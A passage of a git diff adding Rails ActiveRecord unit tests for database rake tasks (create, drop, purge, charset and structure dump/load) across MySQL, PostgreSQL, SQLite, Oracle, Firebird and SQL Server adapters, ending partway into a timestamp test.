+ end
+ end
+ ActiveRecord::Tasks::DatabaseTasks.stubs(:class_for_adapter).returns(@tasks) unless defined? ActiveRecord::ConnectionAdapters::FirebirdAdapter
+ end
+ end
+
+ class FirebirdDBCreateTest < ActiveRecord::TestCase
+ include FirebirdSetupper
+
+ def test_db_retrieves_create
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class FirebirdDBDropTest < ActiveRecord::TestCase
+ include FirebirdSetupper
+
+ def test_db_retrieves_drop
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class FirebirdDBCharsetAndCollationTest < ActiveRecord::TestCase
+ include FirebirdSetupper
+
+ def test_db_retrieves_collation
+ assert_raise NoMethodError do
+ ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+ end
+ end
+
+ def test_db_retrieves_charset
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class FirebirdStructureDumpTest < ActiveRecord::TestCase
+ include FirebirdSetupper
+
+ def setup
+ super
+ FireRuby::Database.stubs(:db_string_for).returns(@database)
+ end
+
+ def test_structure_dump
+ filename = "filebird.sql"
+ Kernel.expects(:system).with("isql -a #{@database} > #{filename}")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+ end
+ end
+
+ class FirebirdStructureLoadTest < ActiveRecord::TestCase
+ include FirebirdSetupper
+
+ def setup
+ super
+ FireRuby::Database.stubs(:db_string_for).returns(@database)
+ end
+
+ def test_structure_load
+ filename = "firebird.sql"
+ Kernel.expects(:system).with("isql -i #{filename} #{@database}")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+ end
+ end
+end
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
new file mode 100644
index 0000000..816bd62
--- /dev/null
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -0,0 +1,301 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class MysqlDBCreateTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:create_database => true)
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_establishes_connection_without_database
+ ActiveRecord::Base.expects(:establish_connection).
+ with('adapter' => 'mysql', 'database' => nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_creates_database_with_default_encoding_and_collation
+ @connection.expects(:create_database).
+ with('my-app-db', charset: 'utf8', collation: 'utf8_unicode_ci')
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_creates_database_with_given_encoding_and_default_collation
+ @connection.expects(:create_database).
+ with('my-app-db', charset: 'utf8', collation: 'utf8_unicode_ci')
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('encoding' => 'utf8')
+ end
+
+ def test_creates_database_with_given_encoding_and_no_collation
+ @connection.expects(:create_database).
+ with('my-app-db', charset: 'latin1')
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('encoding' => 'latin1')
+ end
+
+ def test_creates_database_with_given_collation_and_no_encoding
+ @connection.expects(:create_database).
+ with('my-app-db', collation: 'latin1_swedish_ci')
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge('collation' => 'latin1_swedish_ci')
+ end
+
+ def test_establishes_connection_to_database
+ ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_create_when_database_exists_outputs_info_to_stderr
+ $stderr.expects(:puts).with("my-app-db already exists").once
+
+ ActiveRecord::Base.connection.stubs(:create_database).raises(
+ ActiveRecord::StatementInvalid.new("Can't create database 'dev'; database exists:")
+ )
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+ end
+
+ class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
+ def setup
+ unless current_adapter?(:MysqlAdapter)
+ return skip("only tested on mysql")
+ end
+
+ @connection = stub("Connection", create_database: true)
+ @error = Mysql::Error.new "Invalid permissions"
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db',
+ 'username' => 'pat',
+ 'password' => 'wossname'
+ }
+
+ $stdin.stubs(:gets).returns("secret\n")
+ $stdout.stubs(:print).returns(nil)
+ @error.stubs(:errno).returns(1045)
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).
+ raises(@error).
+ then.returns(true)
+ end
+
+ def test_root_password_is_requested
+ assert_permissions_granted_for "pat"
+ skip "only if mysql is available" unless defined?(::Mysql)
+ $stdin.expects(:gets).returns("secret\n")
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_connection_established_as_root
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'mysql',
+ 'database' => nil,
+ 'username' => 'root',
+ 'password' => 'secret'
+ )
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_database_created_by_root
+ assert_permissions_granted_for "pat"
+ @connection.expects(:create_database).
+ with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_grant_privileges_for_normal_user
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_do_not_grant_privileges_for_root_user
+ @configuration['username'] = 'root'
+ @configuration['password'] = ''
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_connection_established_as_normal_user
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Base.expects(:establish_connection).returns do
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db',
+ 'username' => 'pat',
+ 'password' => 'secret'
+ )
+
+ raise @error
+ end
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_sends_output_to_stderr_when_other_errors
+ @error.stubs(:errno).returns(42)
+
+ $stderr.expects(:puts).at_least_once.returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ private
+ def assert_permissions_granted_for(db_user)
+ db_name = @configuration['database']
+ db_password = @configuration['password']
+ @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
+ end
+ end
+
+ class MySQLDBDropTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:drop_database => true)
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_establishes_connection_to_mysql_database
+ ActiveRecord::Base.expects(:establish_connection).with @configuration
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+ end
+
+ def test_drops_database
+ @connection.expects(:drop_database).with('my-app-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+ end
+ end
+
+ class MySQLPurgeTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:recreate_database => true)
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'test-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_establishes_connection_to_test_database
+ ActiveRecord::Base.expects(:establish_connection).with(:test)
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+ end
+
+ def test_recreates_database_with_the_default_options
+ @connection.expects(:recreate_database).
+ with('test-db', charset: 'utf8', collation: 'utf8_unicode_ci')
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+ end
+
+ def test_recreates_database_with_the_given_options
+ @connection.expects(:recreate_database).
+ with('test-db', charset: 'latin', collation: 'latin1_swedish_ci')
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration.merge(
+ 'encoding' => 'latin', 'collation' => 'latin1_swedish_ci')
+ end
+ end
+
+ class MysqlDBCharsetTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:create_database => true)
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_db_retrieves_charset
+ @connection.expects(:charset)
+ ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+ end
+ end
+
+ class MysqlDBCollationTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:create_database => true)
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_db_retrieves_collation
+ @connection.expects(:collation)
+ ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+ end
+ end
+
+ class MySQLStructureDumpTest < ActiveRecord::TestCase
+ def setup
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'test-db'
+ }
+ end
+
+ def test_structure_dump
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db").returns(true)
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+ end
+
+ def test_warn_when_external_structure_dump_fails
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db").returns(false)
+
+ warnings = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+ end
+
+ assert_match(/Could not dump the database structure/, warnings)
+ end
+ end
+
+ class MySQLStructureLoadTest < ActiveRecord::TestCase
+ def setup
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'test-db'
+ }
+ end
+
+ def test_structure_load
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with('mysql', '--execute', %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/tasks/oracle_rake_test.rb b/activerecord/test/cases/tasks/oracle_rake_test.rb
new file mode 100644
index 0000000..5f840fe
--- /dev/null
+++ b/activerecord/test/cases/tasks/oracle_rake_test.rb
@@ -0,0 +1,93 @@
+require 'cases/helper'
+
+module ActiveRecord
+ module OracleSetupper
+ def setup
+ @database = 'db.oracle'
+ @connection = stub :connection
+ @configuration = {
+ 'adapter' => 'oracle',
+ 'database' => @database
+ }
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+ @tasks = Class.new(ActiveRecord::Tasks::OracleDatabaseTasks) do
+ def initialize(configuration)
+ ActiveSupport::Deprecation.silence { super }
+ end
+ end
+ ActiveRecord::Tasks::DatabaseTasks.stubs(:class_for_adapter).returns(@tasks) unless defined? ActiveRecord::ConnectionAdapters::OracleAdapter
+ end
+ end
+
+ class OracleDBCreateTest < ActiveRecord::TestCase
+ include OracleSetupper
+
+ def test_db_retrieves_create
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class OracleDBDropTest < ActiveRecord::TestCase
+ include OracleSetupper
+
+ def test_db_retrieves_drop
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class OracleDBCharsetAndCollationTest < ActiveRecord::TestCase
+ include OracleSetupper
+
+ def test_db_retrieves_collation
+ assert_raise NoMethodError do
+ ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+ end
+ end
+
+ def test_db_retrieves_charset
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class OracleStructureDumpTest < ActiveRecord::TestCase
+ include OracleSetupper
+
+ def setup
+ super
+ @connection.stubs(:structure_dump).returns("select sysdate from dual;")
+ end
+
+ def test_structure_dump
+ filename = "oracle.sql"
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+ assert File.exists?(filename)
+ ensure
+ FileUtils.rm_f(filename)
+ end
+ end
+
+ class OracleStructureLoadTest < ActiveRecord::TestCase
+ include OracleSetupper
+
+ def test_structure_load
+ filename = "oracle.sql"
+
+ open(filename, 'w') { |f| f.puts("select sysdate from dual;") }
+ @connection.stubs(:execute).with("select sysdate from dual;\n")
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+ ensure
+ FileUtils.rm_f(filename)
+ end
+ end
+end
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
new file mode 100644
index 0000000..7e7a469
--- /dev/null
+++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb
@@ -0,0 +1,236 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class PostgreSQLDBCreateTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:create_database => true)
+ @configuration = {
+ 'adapter' => 'postgresql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_establishes_connection_to_postgresql_database
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'postgresql',
+ 'database' => 'postgres',
+ 'schema_search_path' => 'public'
+ )
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_creates_database_with_default_encoding
+ @connection.expects(:create_database).
+ with('my-app-db', @configuration.merge('encoding' => 'utf8'))
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_creates_database_with_given_encoding
+ @connection.expects(:create_database).
+ with('my-app-db', @configuration.merge('encoding' => 'latin'))
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+ merge('encoding' => 'latin')
+ end
+
+ def test_creates_database_with_given_collation_and_ctype
+ @connection.expects(:create_database).
+ with('my-app-db', @configuration.merge('encoding' => 'utf8', 'collation' => 'ja_JP.UTF8', 'ctype' => 'ja_JP.UTF8'))
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration.
+ merge('collation' => 'ja_JP.UTF8', 'ctype' => 'ja_JP.UTF8')
+ end
+
+ def test_establishes_connection_to_new_database
+ ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_db_create_with_error_prints_message
+ ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
+
+ $stderr.stubs(:puts).returns(true)
+ $stderr.expects(:puts).
+ with("Couldn't create database for #{@configuration.inspect}")
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_create_when_database_exists_outputs_info_to_stderr
+ $stderr.expects(:puts).with("my-app-db already exists").once
+
+ ActiveRecord::Base.connection.stubs(:create_database).raises(
+ ActiveRecord::StatementInvalid.new('database "my-app-db" already exists')
+ )
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+ end
+
+ class PostgreSQLDBDropTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:drop_database => true)
+ @configuration = {
+ 'adapter' => 'postgresql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_establishes_connection_to_postgresql_database
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'postgresql',
+ 'database' => 'postgres',
+ 'schema_search_path' => 'public'
+ )
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+ end
+
+ def test_drops_database
+ @connection.expects(:drop_database).with('my-app-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+ end
+ end
+
+ class PostgreSQLPurgeTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:create_database => true, :drop_database => true)
+ @configuration = {
+ 'adapter' => 'postgresql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:clear_active_connections!).returns(true)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_clears_active_connections
+ ActiveRecord::Base.expects(:clear_active_connections!)
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+ end
+
+ def test_establishes_connection_to_postgresql_database
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'postgresql',
+ 'database' => 'postgres',
+ 'schema_search_path' => 'public'
+ )
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+ end
+
+ def test_drops_database
+ @connection.expects(:drop_database).with('my-app-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+ end
+
+ def test_creates_database
+ @connection.expects(:create_database).
+ with('my-app-db', @configuration.merge('encoding' => 'utf8'))
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+ end
+
+ def test_establishes_connection
+ ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+ ActiveRecord::Tasks::DatabaseTasks.purge @configuration
+ end
+ end
+
+ class PostgreSQLDBCharsetTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:create_database => true)
+ @configuration = {
+ 'adapter' => 'postgresql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_db_retrieves_charset
+ @connection.expects(:encoding)
+ ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+ end
+ end
+
+ class PostgreSQLDBCollationTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:create_database => true)
+ @configuration = {
+ 'adapter' => 'postgresql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_db_retrieves_collation
+ @connection.expects(:collation)
+ ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+ end
+ end
+
+ class PostgreSQLStructureDumpTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub(:structure_dump => true)
+ @configuration = {
+ 'adapter' => 'postgresql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ Kernel.stubs(:system)
+ end
+
+ def test_structure_dump
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with("pg_dump -i -s -x -O -f #{filename} my-app-db").returns(true)
+ @connection.expects(:schema_search_path).returns("foo")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+ assert File.exists?(filename)
+ ensure
+ FileUtils.rm(filename)
+ end
+ end
+
+ class PostgreSQLStructureLoadTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub
+ @configuration = {
+ 'adapter' => 'postgresql',
+ 'database' => 'my-app-db'
+ }
+
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ Kernel.stubs(:system)
+ end
+
+ def test_structure_load
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with("psql -f #{filename} my-app-db")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+ end
+ end
+
+end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
new file mode 100644
index 0000000..7209c0f
--- /dev/null
+++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb
@@ -0,0 +1,191 @@
+require 'cases/helper'
+require 'pathname'
+
+module ActiveRecord
+ class SqliteDBCreateTest < ActiveRecord::TestCase
+ def setup
+ @database = 'db_create.sqlite3'
+ @connection = stub :connection
+ @configuration = {
+ 'adapter' => 'sqlite3',
+ 'database' => @database
+ }
+
+ File.stubs(:exist?).returns(false)
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_db_checks_database_exists
+ File.expects(:exist?).with(@database).returns(false)
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+ end
+
+ def test_db_create_when_file_exists
+ File.stubs(:exist?).returns(true)
+
+ $stderr.expects(:puts).with("#{@database} already exists")
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+ end
+
+ def test_db_create_with_file_does_nothing
+ File.stubs(:exist?).returns(true)
+ $stderr.stubs(:puts).returns(nil)
+
+ ActiveRecord::Base.expects(:establish_connection).never
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+ end
+
+ def test_db_create_establishes_a_connection
+ ActiveRecord::Base.expects(:establish_connection).with(@configuration)
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+ end
+
+ def test_db_create_with_error_prints_message
+ ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
+
+ $stderr.stubs(:puts).returns(true)
+ $stderr.expects(:puts).
+ with("Couldn't create database for #{@configuration.inspect}")
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration, '/rails/root'
+ end
+ end
+
+ class SqliteDBDropTest < ActiveRecord::TestCase
+ def setup
+ @database = "db_create.sqlite3"
+ @path = stub(:to_s => '/absolute/path', :absolute? => true)
+ @configuration = {
+ 'adapter' => 'sqlite3',
+ 'database' => @database
+ }
+
+ Pathname.stubs(:new).returns(@path)
+ File.stubs(:join).returns('/former/relative/path')
+ FileUtils.stubs(:rm).returns(true)
+ end
+
+ def test_creates_path_from_database
+ Pathname.expects(:new).with(@database).returns(@path)
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+ end
+
+ def test_removes_file_with_absolute_path
+ File.stubs(:exist?).returns(true)
+ @path.stubs(:absolute?).returns(true)
+
+ FileUtils.expects(:rm).with('/absolute/path')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+ end
+
+ def test_generates_absolute_path_with_given_root
+ @path.stubs(:absolute?).returns(false)
+
+ File.expects(:join).with('/rails/root', @path).
+ returns('/former/relative/path')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+ end
+
+ def test_removes_file_with_relative_path
+ File.stubs(:exist?).returns(true)
+ @path.stubs(:absolute?).returns(false)
+
+ FileUtils.expects(:rm).with('/former/relative/path')
+
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration, '/rails/root'
+ end
+ end
+
+ class SqliteDBCharsetTest < ActiveRecord::TestCase
+ def setup
+ @database = 'db_create.sqlite3'
+ @connection = stub :connection
+ @configuration = {
+ 'adapter' => 'sqlite3',
+ 'database' => @database
+ }
+
+ File.stubs(:exist?).returns(false)
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_db_retrieves_charset
+ @connection.expects(:encoding)
+ ActiveRecord::Tasks::DatabaseTasks.charset @configuration, '/rails/root'
+ end
+ end
+
+ class SqliteDBCollationTest < ActiveRecord::TestCase
+ def setup
+ @database = 'db_create.sqlite3'
+ @connection = stub :connection
+ @configuration = {
+ 'adapter' => 'sqlite3',
+ 'database' => @database
+ }
+
+ File.stubs(:exist?).returns(false)
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+ end
+
+ def test_db_retrieves_collation
+ assert_raise NoMethodError do
+ ActiveRecord::Tasks::DatabaseTasks.collation @configuration, '/rails/root'
+ end
+ end
+ end
+
+ class SqliteStructureDumpTest < ActiveRecord::TestCase
+ def setup
+ @database = "db_create.sqlite3"
+ @configuration = {
+ 'adapter' => 'sqlite3',
+ 'database' => @database
+ }
+ end
+
+ def test_structure_dump
+ dbfile = @database
+ filename = "awesome-file.sql"
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, '/rails/root'
+ assert File.exists?(dbfile)
+ assert File.exists?(filename)
+ ensure
+ FileUtils.rm_f(filename)
+ FileUtils.rm_f(dbfile)
+ end
+ end
+
+ class SqliteStructureLoadTest < ActiveRecord::TestCase
+ def setup
+ @database = "db_create.sqlite3"
+ @configuration = {
+ 'adapter' => 'sqlite3',
+ 'database' => @database
+ }
+ end
+
+ def test_structure_load
+ dbfile = @database
+ filename = "awesome-file.sql"
+
+ open(filename, 'w') { |f| f.puts("select datetime('now', 'localtime');") }
+ ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, '/rails/root'
+ assert File.exists?(dbfile)
+ ensure
+ FileUtils.rm_f(filename)
+ FileUtils.rm_f(dbfile)
+ end
+ end
+end
diff --git a/activerecord/test/cases/tasks/sqlserver_rake_test.rb b/activerecord/test/cases/tasks/sqlserver_rake_test.rb
new file mode 100644
index 0000000..0f1264b
--- /dev/null
+++ b/activerecord/test/cases/tasks/sqlserver_rake_test.rb
@@ -0,0 +1,87 @@
+require 'cases/helper'
+
+module ActiveRecord
+ module SqlserverSetupper
+ def setup
+ @database = 'db.sqlserver'
+ @connection = stub :connection
+ @configuration = {
+ 'adapter' => 'sqlserver',
+ 'database' => @database,
+ 'host' => 'localhost',
+ 'username' => 'username',
+ 'password' => 'password',
+ }
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).returns(true)
+
+ @tasks = Class.new(ActiveRecord::Tasks::SqlserverDatabaseTasks) do
+ def initialize(configuration)
+ ActiveSupport::Deprecation.silence { super }
+ end
+ end
+ ActiveRecord::Tasks::DatabaseTasks.stubs(:class_for_adapter).returns(@tasks) unless defined? ActiveRecord::ConnectionAdapters::SQLServerAdapter
+ end
+ end
+
+ class SqlserverDBCreateTest < ActiveRecord::TestCase
+ include SqlserverSetupper
+
+ def test_db_retrieves_create
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class SqlserverDBDropTest < ActiveRecord::TestCase
+ include SqlserverSetupper
+
+ def test_db_retrieves_drop
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.drop @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class SqlserverDBCharsetAndCollationTest < ActiveRecord::TestCase
+ include SqlserverSetupper
+
+ def test_db_retrieves_collation
+ assert_raise NoMethodError do
+ ActiveRecord::Tasks::DatabaseTasks.collation @configuration
+ end
+ end
+
+ def test_db_retrieves_charset
+ message = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.charset @configuration
+ end
+ assert_match(/not supported/, message)
+ end
+ end
+
+ class SqlserverStructureDumpTest < ActiveRecord::TestCase
+ include SqlserverSetupper
+
+ def test_structure_dump
+ filename = "sqlserver.sql"
+ Kernel.expects(:system).with("smoscript -s localhost -d #{@database} -u username -p password -f #{filename} -A -U")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+ end
+ end
+
+ class SqlserverStructureLoadTest < ActiveRecord::TestCase
+ include SqlserverSetupper
+
+ def test_structure_load
+ filename = "sqlserver.sql"
+ Kernel.expects(:system).with("sqlcmd -S localhost -d #{@database} -U username -P password -i #{filename}")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+ end
+ end
+end
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
new file mode 100644
index 0000000..f3f7054
--- /dev/null
+++ b/activerecord/test/cases/test_case.rb
@@ -0,0 +1,9 @@
+ActiveSupport::Deprecation.silence do
+ require 'active_record/test_case'
+end
+
+ActiveRecord::TestCase.class_eval do
+ def sqlite3? connection
+ connection.class.name.split('::').last == "SQLite3Adapter"
+ end
+end
diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb
new file mode 100644
index 0000000..ff1b015
--- /dev/null
+++ b/activerecord/test/cases/timestamp_test.rb
@@ -0,0 +1,308 @@
+require 'cases/helper'
+require 'models/developer'
+require 'models/owner'
+require 'models/pet'
+require 'models/toy'
+require 'models/car'
+require 'models/task'
+
+class TimestampTest < ActiveRecord::TestCase
+ fixtures :developers, :owners, :pets, :toys, :cars, :tasks
+
+ def setup
+ @developer = Developer.first
+ @developer.update_columns(updated_at: Time.now.prev_month)
+ @previously_updated_at = @developer.updated_at
+ end
+
+ def test_saving_a_changed_record_updates_its_timestamp
+ @developer.name = "Jack Bauer"
+ @developer.save!
+
+ assert_not_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_saving_a_unchanged_record_doesnt_update_its_timestamp
+ @developer.save!
+
+ assert_equal @previously_updated_at, @developer.updated_at
+ end
+
+ def test_touching_a_record_updates_its_timestamp
+ previous_salary = @developer.salary
